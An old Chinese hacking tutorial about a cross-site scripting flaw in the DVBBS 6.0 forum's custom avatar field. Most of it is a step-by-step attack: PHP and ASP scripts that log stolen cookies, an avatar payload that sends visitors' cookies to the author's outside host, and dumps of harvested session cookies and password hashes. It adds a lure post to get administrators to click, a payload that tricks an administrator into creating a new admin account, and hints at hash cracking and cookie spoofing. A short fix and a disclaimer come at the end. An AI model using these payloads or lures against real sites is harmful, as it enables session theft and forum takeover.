返回织梦建站服务网首页 业界新闻 教程文档 资源下载 酷站鉴赏 免费服务 站长工具
织梦建站工作室
织梦建站论坛
载入中…
专题栏目
最新热门
>>更多热门...  
最新推荐
>>更多推荐...  
  您现在的位置: 织梦建站服务网 >> 建站教程 >> 网络安全 >> 黑客教程 >> 教程正文
动网论坛6.0存在跨站脚本漏洞          ★★★
HITS: TIME:2003-7-6 AUTHOR:红衣刺客 URL:中华安全网
CONTENT INTRODUCE :
放大文字  缩小文字  发表评论  加入站内收藏夹  告诉好友  打印模式  关闭窗口 
这个漏洞是lintao520发现的,我写成了文章,并深入问题和给出解决方案。希望大家共同进步。

动网论坛(动网先锋论坛) 是一款由WWW.ASPSKY.NET开发和维护的源代码开?..最高版本为DVBBS VER 6.0.0 SP3。

◇此漏洞所涉及版本:
  目前所有版本

◇描述:
  由于没有对自定义头像的地址进行过滤,导致远程攻击者可以在自定义头像的地址中插入一段特殊代码。使恶意用户能够取得浏览网页用户的cookie信息。

◇具体分析与利用:
  1. 分析:
  关键的问题就出在MYMODIFY.ASP中,看看MYMODIFY.ASP的源代码,没有对自定义头像的地址进行滤。
  javascript, jscript:, js:, about; value, document., onmouse,onexit都应该做严格过滤。这可能是开发者的因为疏忽造成的。

2.利用
  目的:取得用户的cookie信息
  首先我们要有一个空间,可以是支持ASP或者PHP的。

以下是获取cookie的php源代码:

<?php
  $info = getenv("QUERY_STRING");
  if ($info) {
  $fp = fopen("test.txt","a");
  fwrite($fp,$info."\n");
  fclose($fp);
  }
  ?>

<script language=vbscript>
  document.location="http://xiaomutou.51.net/bbs/";
  </script>

如果得到cookie,则在空间中生成test.txt,为了不引起怀疑,将自动把网页转换http://xiaomutou.51.net/bbs/。(来我和木头的家*^_^*,什么别仍鸡蛋啊~)

把它上传到支持php的空间上。比如这里我把它传到
 http://xiaomutou.51.net/info2.php
  然后注册一个用户(强烈建议大家注册英文用户,如baobaoguai)

我们在“关于自定义头像”中插入如下代码:
  java script:window.open('http://xiaomutou.51.net/info2.php?&#39;+document.cookie);


  然后提交,现在这个的头像已经成了一段偷cookie的特殊代码。现在回到首页,看看在线成员列表,点我们刚才注册的用户,看,它弹出了两个窗口,一个是关于baobaoguai这个用户的资料,另一个则http://xiaomutou.51.net/bbs/
  其实在出http://xiaomutou.51.net/bbs/之前,?..蛏傻膖est.txt[/url]

aspsky=usercookies=1&userid=6621&tempid=&userhidden=2&password=965eb72c92a549dd&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=%B9%D4%B1%A6%B1%A6111;%20ASPSESSIONIDCACARBQD=KFHGEADBKLHJGLDDBFEGCJCH;%20Longker+Union=lao=1;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=6621&usercookies=1&userhidden=&password=965eb72c92a549dd&tempid=&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=%B9%D4%B1%A6%B1%A6111

哇哇,所有的cookie全都得到了。只不过经过了加密。
  想得到别人的cookie,容易,我们把关于baobaoguai的资料地址复制一下。到论坛发个帖,比如标题是“管理员大人和各位用户快来看,我发现了好东西”,一般人都会点这个联接,而且URL是那个网站的,不会引起别人的怀疑。当他用的鼠标轻轻的点一下这个URL时,我们就窃取了他的cookie,并把他带到了我和木头的论坛,这叫玩黑广告两不误^_^(木头:做个广告就行了,不要偷人cookie啊,真坏!)
  第二天清早起床打开电脑,看http://xiaomutou.51.net/test.txt,已经收集到一大堆了。

aspsky=usercookies=1&userid=6621&tempid=&userhidden=2&password=965eb72c92a549dd&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=%B9%D4%B1%A6%B1%A6111;%20ASPSESSIONIDCACARBQD=KFHGEADBKLHJGLDDBFEGCJCH;%20Longker+Union=lao=1;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=6621&usercookies=1&userhidden=&password=965eb72c92a549dd&tempid=&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=%B9%D4%B1%A6%B1%A6111
  aspsky=usercookies=1&userid=6621&tempid=&userhidden=2&password=965eb72c92a549dd&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=%B9%D4%B1%A6%B1%A6111;%20ASPSESSIONIDCACARBQD=KFHGEADBKLHJGLDDBFEGCJCH;%20Longker+Union=lao=1;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=6621&usercookies=1&userhidden=&password=965eb72c92a549dd&tempid=&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=%B9%D4%B1%A6%B1%A6111
  aspsky=usercookies=1&username=%BA%EC%D2%C2%B4%CC%BF%CD&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&tempid=&password=9d674de36c433b47&userhidden=2&userid=5;%20ASPSESSIONIDSSASBRRS=FJPOHNIBOEHPMEMPDKJNNAGJ;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=5&usercookies=1&userhidden=&password=9d674de36c433b47&tempid=&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=%BA%EC%D2%C2%B4%CC%BF%CD
  aspsky=userid=4&usercookies=0&userclass=%B9%DC%C0%ED%D4%B1&username=%D0%A1%C4%BE%CD%B7&userhidden=2&password=669b958c3cee6c04&tempid=;%20ASPSESSIONIDSSASBRRS=INMOHNIBGIHKDGLGAMJFGMBO;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=4&usercookies=0&userhidden=&password=669b958c3cee6c04&tempid=&userclass=%B9%DC%C0%ED%D4%B1&username=%D0%A1%C4%BE%CD%B7
  aspsky=usercookies=1&username=%BA%EC%D2%C2%B4%CC%BF%CD&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&tempid=&password=9d674de36c433b47&userhidden=2&userid=5;%20ASPSESSIONIDSSASBRRS=FJPOHNIBOEHPMEMPDKJNNAGJ;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=5&usercookies=1&userhidden=&password=9d674de36c433b47&tempid=&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=%BA%EC%D2%C2%B4%CC%BF%CD
  aspsky=userid=4&usercookies=0&userclass=%B9%DC%C0%ED%D4%B1&username=%D0%A1%C4%BE%CD%B7&userhidden=2&password=669b958c3cee6c04&tempid=;%20ASPSESSIONIDSSASBRRS=INMOHNIBGIHKDGLGAMJFGMBO;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=4&usercookies=0&userhidden=&password=669b958c3cee6c04&tempid=&userclass=%B9%DC%C0%ED%D4%B1&username=%D0%A1%C4%BE%CD%B7
  aspsky=userid=4&usercookies=0&userclass=%B9%DC%C0%ED%D4%B1&username=%D0%A1%C4%BE%CD%B7&userhidden=2&password=669b958c3cee6c04&tempid=;%20ASPSESSIONIDSSASBRRS=INMOHNIBGIHKDGLGAMJFGMBO;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=4&usercookies=0&userhidden=&password=669b958c3cee6c04&tempid=&userclass=%B9%DC%C0%ED%D4%B1&username=%D0%A1%C4%BE%CD%B7
  aspsky=userid=4&usercookies=0&userclass=%B9%DC%C0%ED%D4%B1&username=%D0%A1%C4%BE%CD%B7&userhidden=2&password=669b958c3cee6c04&tempid=;%20ASPSESSIONIDSSASBRRS=INMOHNIBGIHKDGLGAMJFGMBO;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=4&usercookies=0&userhidden=&password=669b958c3cee6c04&tempid=&userclass=%B9%DC%C0%ED%D4%B1&username=%D0%A1%C4%BE%CD%B7



深入问题:
  我们还可以利用这个漏洞来创建一个管理员。当然,只有论坛的管理员才可以创建,不过有些白痴级论坛除外 :p
  首先,通过对论坛源代码的分析,找出创建管理员要提交的URL。
  假如URLhttp://www.web.com/bbs/adminadd.asp?name=CiKer
  把Ciker这个用户创建为管理员。那么就可以在自定义头像地址中插入:
  java script:window.open('http://www.web.com/bbs/adminadd.asp?name=CiKer&#39;);
  这样,如果管理员看了你的资料,就会创建CiKer这个管理员,至于怎么引管理员看你的资料,就不用我多说了吧:)

接下来该怎么办就不用我说了吧,MD5解密,cookie欺骗,就随你了。虽然不能进后台,不过可以帮管理员删删那些垃圾帖子:)

原理:如果我们在头像中提交http://xiaomutou.51.net/photo.jpg,就会被转换成src="http://xiaomutou.51.net/photo.jpg";,由于没有对javascript过滤,我们插入java script:window.open('http://xiaomutou.51.net/info2.php?&#39;+document.cookie);就被转换成了
  src=" java script:window.open('http://xiaomutou.51.net/info2.php?&#39;+document.cookie);"。这样就达到了跨站脚本的目的。


  ◇解决方案:

禁止用其他站点的头像和照片。在MYMODIFY.ASP和reg.asp中把

自定义头像地址:<input type="TEXT" name="myface" size=30 maxlength=100 value=<%=rs("face")%>>
  改成

自定义头像地址:<input type="TEXT" name="myface" size=30 maxlength=100 value=<%=rs("face")%> disabled>
  把
  <input type="TEXT" name="userphoto" value="<%if trim(rs("userphoto"))<>"" then%><%=htmlencode(rs("userphoto"))%><%end if%>" size=30 maxlength=100>
  改成
  <input type="TEXT" name="userphoto" value="<%if trim(rs("userphoto"))<>"" then%><%=htmlencode(rs("userphoto"))%><%end if%>" size=30 maxlength=100 disabled>

为了补充头像单调的不足可以开放上传头像的功能。为了安全,可以把存放上传头像的文件夹改名,并建立一个不支持脚本的虚拟目录。

如果有什么问题,欢迎http://xiaomutou.51.net/bbs与我交流。

  附:获取cookie的asp源代码:

<%
  testfile=Server.MapPath("cookies.txt")
  msg=Request("msg")
  set fs=server.CreateObject("scripting.filesystemobject")
  set thisfile=fs.OpenTextFile(testfile,8,True,0)
  thisfile.WriteLine(""&msg& "")
  thisfile.close
  set fs = nothing
  %>

注:本站(17zm.net)刊登此文目的在于引起广大站长的注意,请不要使用本文介绍方法攻击别人,这是违法行为!
教程录入:Jerome    责任编辑:Jerome 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口

    相关教程
    ASP网站漏洞解析及黑客入侵防范方法
    ASP的漏洞及安全建议
    BBSXP论坛漏洞
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    湘ICP备05010790号 {$Wap}
    关于我们 | 版本历史 | 联系方法 | 隐私条例 | 链接我们 | 广告服务 | 常见问题 | 友情链接 | 网站公告 | 设为首页 | 收藏本站
    Copyright © 2001-2006 17zm.NET All Rights Reserved.  织梦建站工作室[织梦建站工作室]™荣誉出品. Since 2001